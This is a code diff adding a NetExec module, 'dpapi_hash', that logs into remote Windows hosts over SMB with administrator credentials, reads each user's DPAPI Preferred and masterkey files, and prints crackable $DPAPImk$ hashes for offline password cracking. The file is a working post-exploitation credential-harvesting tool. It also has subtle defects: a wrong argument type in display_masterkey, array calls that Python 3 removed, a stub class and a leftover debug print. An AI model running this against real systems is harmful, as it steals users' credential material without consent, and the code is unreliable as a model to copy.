1+ import ntpath
2+ from dploot .lib .target import Target
3+ from dploot .lib .smb import DPLootSMBConnection
4+ import struct
5+ import binascii
6+ import array
7+
8+ # Based on dpapimk2john, original work by @fist0urs
9+
10+
11+ class Eater :
12+ def __init__ (self , raw , offset = 0 , end = None , endianness = "<" ):
13+ self .raw = raw
14+ self .ofs = offset
15+ self .end = len (raw ) if end is None else end
16+ self .endianness = endianness
17+
18+ def prepare_fmt (self , fmt ):
19+ if fmt [0 ] not in ("<" , ">" , "!" , "@" ):
20+ fmt = self .endianness + fmt
21+ return fmt , struct .calcsize (fmt )
22+
23+ def read (self , fmt ):
24+ fmt , sz = self .prepare_fmt (fmt )
25+ v = struct .unpack_from (fmt , self .raw , self .ofs )
26+ return v [0 ] if len (v ) == 1 else v
27+
28+ def eat (self , fmt ):
29+ fmt , sz = self .prepare_fmt (fmt )
30+ v = struct .unpack_from (fmt , self .raw , self .ofs )
31+ self .ofs += sz
32+ return v [0 ] if len (v ) == 1 else v
33+
34+ def eat_string (self , length ):
35+ return self .eat (f"{ length } s" )
36+
37+ def remain (self ):
38+ return self .raw [self .ofs :self .end ]
39+
40+ def eat_sub (self , length ):
41+ sub = Eater (self .raw [self .ofs :self .ofs + length ], endianness = self .endianness )
42+ self .ofs += length
43+ return sub
44+
45+
46+ class DPAPIBlob :
47+ def __init__ (self , raw = None ):
48+ # Initialization code
49+ pass
50+
51+ @staticmethod
52+ def hexstr (bytestr ):
53+ return binascii .hexlify (bytestr ).decode ("ascii" )
54+
55+
56+ class CryptoAlgo :
57+ class Algo :
58+ def __init__ (self , data ):
59+ self .__dict__ .update (data )
60+
61+ _crypto_data = {}
62+
63+ @classmethod
64+ def add_algo (cls , algnum , ** kargs ):
65+ cls ._crypto_data [algnum ] = cls .Algo (kargs )
66+ if "name" in kargs :
67+ kargs ["ID" ] = algnum
68+ cls ._crypto_data [kargs ["name" ]] = cls .Algo (kargs )
69+
70+ @classmethod
71+ def get_algo (cls , algnum ):
72+ return cls ._crypto_data .get (algnum )
73+
74+ def __init__ (self , algnum ):
75+ self .algnum = algnum
76+ self .algo = CryptoAlgo .get_algo (algnum )
77+ if not self .algo :
78+ raise ValueError (f"Algorithm number { algnum } not found in crypto data" )
79+
80+ name = property (lambda self : self .algo .name )
81+ keyLength = property (lambda self : self .algo .keyLength // 8 )
82+ ivLength = property (lambda self : self .algo .IVLength // 8 )
83+ blockSize = property (lambda self : self .algo .blockLength // 8 )
84+ digestLength = property (lambda self : self .algo .digestLength // 8 )
85+
86+ def __repr__ (self ):
87+ return f"{ self .algo .name } [{ self .algnum :#x} ]"
88+
89+
90+ def des_set_odd_parity (key ):
91+ _lut = [1 , 1 , 2 , 2 , 4 , 4 , 7 , 7 , 8 , 8 , 11 , 11 , 13 , 13 , 14 , 14 , 16 , 16 , 19 , 19 , 21 , 21 , 22 , 22 , 25 , 25 , 26 , 26 , 28 , 28 , 31 , 31 , 32 , 32 , 35 , 35 , 37 , 37 , 38 , 38 , 41 , 41 , 42 , 42 , 44 , 44 , 47 , 47 , 49 , 49 , 50 , 50 , 52 , 52 , 55 , 55 , 56 , 56 , 59 , 59 , 61 , 61 , 62 , 62 , 64 , 64 , 67 , 67 , 69 , 69 , 70 , 70 , 73 , 73 , 74 , 74 , 76 , 76 , 79 , 79 , 81 , 81 , 82 , 82 , 84 , 84 , 87 , 87 , 88 , 88 , 91 , 91 , 93 , 93 , 94 , 94 , 97 , 97 , 98 , 98 , 100 , 100 , 103 , 103 , 104 , 104 , 107 , 107 , 109 , 109 , 110 , 110 , 112 , 112 , 115 , 115 , 117 , 117 , 118 , 118 , 121 , 121 , 122 , 122 , 124 , 124 , 127 , 127 , 128 , 128 , 131 , 131 , 133 , 133 , 134 , 134 , 137 , 137 , 138 , 138 , 140 , 140 , 143 , 143 , 145 , 145 , 146 , 146 , 148 , 148 , 151 , 151 , 152 , 152 , 155 , 155 , 157 , 157 , 158 , 158 , 161 , 161 , 162 , 162 , 164 , 164 , 167 , 167 , 168 , 168 , 171 , 171 , 173 , 173 , 174 , 174 , 176 , 176 , 179 , 179 , 181 , 181 , 182 , 182 , 185 , 185 , 186 , 186 , 188 , 188 , 191 , 191 , 193 , 193 , 194 , 194 , 196 , 196 , 199 , 199 , 200 , 200 , 203 , 203 , 205 , 205 , 206 , 206 , 208 , 208 , 211 , 211 , 213 , 213 , 214 , 214 , 217 , 217 , 218 , 218 , 220 , 220 , 223 , 223 , 224 , 224 , 227 , 227 , 229 , 229 , 230 , 230 , 233 , 233 , 234 , 234 , 236 , 236 , 239 , 239 , 241 , 241 , 242 , 242 , 244 , 244 , 247 , 247 , 248 , 248 , 251 , 251 , 253 , 253 , 254 , 254 ]
92+ tmp = array .array ("B" )
93+ tmp .fromstring (key )
94+ for i , v in enumerate (tmp ):
95+ tmp [i ] = _lut [v ]
96+ return tmp .tostring ()
97+
98+
99+ CryptoAlgo .add_algo (0x6601 , name = "DES" , keyLength = 64 , IVLength = 64 , blockLength = 64 , keyFixup = des_set_odd_parity )
100+ CryptoAlgo .add_algo (0x6603 , name = "DES3" , keyLength = 192 , IVLength = 64 , blockLength = 64 , keyFixup = des_set_odd_parity )
101+ CryptoAlgo .add_algo (0x6611 , name = "AES" , keyLength = 128 , IVLength = 128 , blockLength = 128 )
102+ CryptoAlgo .add_algo (0x660E , name = "AES-128" , keyLength = 128 , IVLength = 128 , blockLength = 128 )
103+ CryptoAlgo .add_algo (0x660F , name = "AES-192" , keyLength = 192 , IVLength = 128 , blockLength = 128 )
104+ CryptoAlgo .add_algo (0x6610 , name = "AES-256" , keyLength = 256 , IVLength = 128 , blockLength = 128 )
105+ CryptoAlgo .add_algo (0x8009 , name = "HMAC" , digestLength = 160 , blockLength = 512 )
106+ CryptoAlgo .add_algo (0x8003 , name = "md5" , digestLength = 128 , blockLength = 512 )
107+ CryptoAlgo .add_algo (0x8004 , name = "sha1" , digestLength = 160 , blockLength = 512 )
108+ CryptoAlgo .add_algo (0x800C , name = "sha256" , digestLength = 256 , blockLength = 512 )
109+ CryptoAlgo .add_algo (0x800D , name = "sha384" , digestLength = 384 , blockLength = 1024 )
110+ CryptoAlgo .add_algo (0x800E , name = "sha512" , digestLength = 512 , blockLength = 1024 )
111+
112+
113+ def display_masterkey (Preferred ):
114+ GUID1 = Preferred .read (8 )
115+ GUID2 = Preferred .read (8 )
116+ GUID = struct .unpack ("<LHH" , GUID1 )
117+ GUID2 = struct .unpack (">HLH" , GUID2 )
118+ return f"{ GUID [0 ]:08x} -{ GUID [1 ]:04x} -{ GUID [2 ]:04x} -{ GUID2 [0 ]:04x} -{ GUID2 [1 ]:08x} { GUID2 [2 ]:04x} "
119+
120+
121+ class MasterKey :
122+ def __init__ (self , raw = None , SID = None , context = None ):
123+ self .decrypted = self .key = self .key_hash = None
124+ self .hmacSalt = self .hmac = self .hmacComputed = None
125+ self .cipherAlgo = self .hashAlgo = self .rounds = None
126+ self .iv = self .version = self .ciphertext = None
127+ self .SID = SID
128+ self .context = context
129+ self .parse (raw )
130+
131+ def parse (self , data ):
132+ eater = Eater (data )
133+ self .version = eater .eat ("L" )
134+ self .iv = eater .eat ("16s" )
135+ self .rounds = eater .eat ("L" )
136+ self .hashAlgo = CryptoAlgo (eater .eat ("L" ))
137+ self .cipherAlgo = CryptoAlgo (eater .eat ("L" ))
138+ self .ciphertext = eater .remain ()
139+
140+ def jhash (self , user , ctx ):
141+ version , hmac_algo , cipher_algo = - 1 , None , None
142+ if "des3" in str (self .cipherAlgo ).lower () and "hmac" in str (self .hashAlgo ).lower ():
143+ version , hmac_algo , cipher_algo = 1 , "sha1" , "des3"
144+ elif "aes-256" in str (self .cipherAlgo ).lower () and "sha512" in str (self .hashAlgo ).lower ():
145+ version , hmac_algo , cipher_algo = 2 , "sha512" , "aes256"
146+ else :
147+ return f"Unsupported combination of cipher '{ self .cipherAlgo } ' and hash algorithm '{ self .hashAlgo } ' found!"
148+ context = 0
149+ if self .context == "domain" :
150+ context = 2
151+ s = f"{ user } :$DPAPImk${ version } *{ context } *{ self .SID } *{ cipher_algo } *{ hmac_algo } *{ self .rounds } *{ DPAPIBlob .hexstr (self .iv )} *{ len (DPAPIBlob .hexstr (self .ciphertext ))} *{ DPAPIBlob .hexstr (self .ciphertext )} "
152+ ctx .log .highlight (f"Context2: { s } " )
153+ context = 3
154+ s = f"\n { user } :$DPAPImk${ version } *{ context } *{ self .SID } *{ cipher_algo } *{ hmac_algo } *{ self .rounds } *{ DPAPIBlob .hexstr (self .iv )} *{ len (DPAPIBlob .hexstr (self .ciphertext ))} *{ DPAPIBlob .hexstr (self .ciphertext )} "
155+ ctx .log .highlight (f"Context3: { s } " )
156+ else :
157+ context = {"local" : 1 , "domain1607-" : 2 , "domain1607+" : 3 }.get (self .context , 0 )
158+ s = f"{ user } :$DPAPImk${ version } *{ context } *{ self .SID } *{ cipher_algo } *{ hmac_algo } *{ self .rounds } *{ DPAPIBlob .hexstr (self .iv )} *{ len (DPAPIBlob .hexstr (self .ciphertext ))} *{ DPAPIBlob .hexstr (self .ciphertext )} "
159+ return s
160+
161+
162+ class MasterKeyFile :
163+ def __init__ (self , raw = None , SID = None , context = None ):
164+ self .masterkey = self .backupkey = self .credhist = self .domainkey = None
165+ self .decrypted = False
166+ self .version = self .guid = self .policy = None
167+ self .masterkeyLen = self .backupkeyLen = self .credhistLen = self .domainkeyLen = 0
168+ self .SID = SID
169+ self .context = context
170+ self .parse (raw )
171+
172+ def parse (self , data ):
173+ eater = Eater (data )
174+ self .version = eater .eat ("L" )
175+ eater .eat ("2L" )
176+ self .guid = eater .eat ("72s" ).decode ("UTF-16LE" ).encode ("utf-8" )
177+ eater .eat ("2L" )
178+ self .policy = eater .eat ("L" )
179+ self .masterkeyLen = eater .eat ("Q" )
180+ self .backupkeyLen = eater .eat ("Q" )
181+ self .credhistLen = eater .eat ("Q" )
182+ self .domainkeyLen = eater .eat ("Q" )
183+ if self .masterkeyLen > 0 :
184+ self .masterkey = MasterKey (eater .eat_sub (self .masterkeyLen ).remain (), SID = self .SID , context = self .context )
185+ if self .backupkeyLen > 0 :
186+ self .backupkey = MasterKey (eater .eat_sub (self .backupkeyLen ).remain (), SID = self .SID , context = self .context )
187+
188+
189+ class NXCModule :
190+ name = "dpapi_hash"
191+ description = "Remotely dump Dpapi hash based on masterkeys"
192+ supported_protocols = ["smb" ]
193+ opsec_safe = True
194+ multiple_hosts = True
195+
196+ def __init__ (self , context = None , module_options = None ):
197+ self .false_positive = (
198+ "." ,
199+ ".." ,
200+ "desktop.ini" ,
201+ "Public" ,
202+ "Default" ,
203+ "Default User" ,
204+ "All Users" ,
205+ )
206+ self .user_directories = "\\ Users\\ {username}\\ AppData\\ Roaming\\ Microsoft\\ Protect"
207+
208+ def get_users (self , conn ):
209+ users = []
210+
211+ users_dir_path = "Users\\ *"
212+ directories = conn .listPath (shareName = self .share , path = ntpath .normpath (users_dir_path ))
213+
214+ for d in directories :
215+ if d .get_longname () not in self .false_positive and d .is_directory () > 0 :
216+ users .append (d .get_longname ()) # noqa: PERF401, ignoring for readability
217+ return users
218+
219+ def on_admin_login (self , context , connection ):
220+ self .context = context
221+ self .connection = connection
222+ self .share = connection .args .share
223+
224+ host = f"{ connection .hostname } .{ connection .domain } "
225+ domain = connection .domain
226+ username = connection .username
227+ kerberos = connection .kerberos
228+ aesKey = connection .aesKey
229+ use_kcache = getattr (connection , "use_kcache" , False )
230+ password = getattr (connection , "password" , "" )
231+ lmhash = getattr (connection , "lmhash" , "" )
232+ nthash = getattr (connection , "nthash" , "" )
233+
234+ target = Target .create (
235+ domain = domain ,
236+ username = username ,
237+ password = password ,
238+ target = host ,
239+ lmhash = lmhash ,
240+ nthash = nthash ,
241+ do_kerberos = kerberos ,
242+ aesKey = aesKey ,
243+ use_kcache = use_kcache ,
244+ )
245+
246+ conn = self .upgrade_connection (target = target , connection = connection .conn )
247+ # get users list
248+ users = self .get_users (conn )
249+ context .log .debug ("Gathering DPAPI Hashes" )
250+
251+ # search user directory to retrieve the prefered protected Masterkey
252+ for user in users :
253+ directory_path = self .user_directories .format (username = user )
254+ directorylist = conn .remote_list_dir (self .context .share , directory_path )
255+ try :
256+ for item in directorylist :
257+ if item .get_longname ().startswith ("S-" ):
258+ sid = item .get_longname ()
259+ print (f"on est quand même là { item } " )
260+ context .log .debug (f"Found user SID: { sid } " )
261+ mkfolder = ntpath .join (directory_path , item .get_longname ())
262+ mkfoldercontent = conn .remote_list_dir (self .context .share , mkfolder )
263+ for mk in mkfoldercontent :
264+ if mk .get_longname () == "Preferred" :
265+ preferredfile = ntpath .join (directory_path , mkfolder , mk .get_longname ())
266+ Preferredcontent = conn .readFile (self .context .share , preferredfile )
267+ GUID1 , GUID2 = Preferredcontent [:8 ], Preferredcontent [8 :16 ]
268+ GUID = struct .unpack ("<LHH" , GUID1 )
269+ GUID2 = struct .unpack (">HLH" , GUID2 )
270+ masterkey = f"{ GUID [0 ]:08x} -{ GUID [1 ]:04x} -{ GUID [2 ]:04x} -{ GUID2 [0 ]:04x} -{ GUID2 [1 ]:08x} { GUID2 [2 ]:04x} "
271+ masterkeypath = ntpath .join (directory_path , mkfolder , masterkey )
272+ masterkeycontent = conn .readFile (self .context .share , masterkeypath )
273+ masterkeyfile_obj = MasterKeyFile (masterkeycontent , SID = sid , context = "domain" )
274+ if masterkeyfile_obj .masterkey :
275+ masterkeyfile_obj .masterkey .jhash (user , context )
276+ except Exception as e :
277+ context .log .debug (f"{ e } " )
278+ continue
279+
280+ def upgrade_connection (self , target : Target , connection = None ):
281+ conn = DPLootSMBConnection (target )
282+ if connection is not None :
283+ conn .smb_session = connection
284+ else :
285+ conn .connect ()
286+ return conn
287+
288+ def options (self , context , module_options ):
289+ """ """
0 commit comments